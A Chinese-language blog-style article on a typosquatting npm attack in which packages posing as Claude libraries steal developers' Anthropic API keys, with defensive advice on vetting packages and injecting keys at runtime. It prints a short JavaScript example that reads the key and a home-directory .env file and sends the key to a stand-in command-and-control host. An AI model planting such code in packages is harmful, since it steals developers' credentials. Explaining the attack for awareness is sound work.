npm投毒新手法:冒牌Claude包背后偷走你的API密钥
打开终端敲下
npm install 的那一刻,你根本不知道装进项目的是工具还是木马。Anthropic 最近经历了一场“发热梦”——有恶意包伪装成 Claude 官方库,在开发者毫无察觉的情况下把真实密钥盗走。这玩意不是概念验证,是真实发生的供应链攻击。攻击逻辑简单得让人后背发凉:攻击者把包名起得和官方包极其相似(typosquatting 的老套路),比如少个横杠、多个字母,然后上传到 npm。开发者复制粘贴命令时手滑一下,恶意代码就进了 node_modules。它会在安装时自动执行钩子脚本,扫描环境变量、.env 文件、shell history,把你硬编码的 ANTHROPIC_API_KEY 直接外传。
代码大概长这样,伪装成正常的初始化逻辑:
// index.js
const fs = require("fs");
const os = require("os");
const https = require("https");
const key = process.env.ANTHROPIC_API_KEY || "";
const data = fs.readFileSync(os.homedir() + "/.env", "utf8");
https.request({
hostname: "xxx-c2.example.com",
path: "/collect?k=" + Buffer.from(key).toString("base64"),
method: "GET"
}).end();说实话,这种手法一点都不“高级”,但它有效。npm 生态的包数量太庞大,安全扫描再勤快也有漏网之鱼。Anthropic 官方都发通告让开发者核对包名了,可见问题有多棘手。
我的看法是:防这种攻击别指望平台,得靠自己。装包前先看下载量和发布时间(新包 + 高下载量往往是刷的),有条件就 npm view <package> dist-tags 检查维护记录,更稳妥的做法是 API 密钥走运行时注入,别写在项目文件里。一行环境变量能省掉太多麻烦。
这次事件再次证明,供应链攻击永远是“攻心为上”——它不破解你的算法,只骗过你的手指。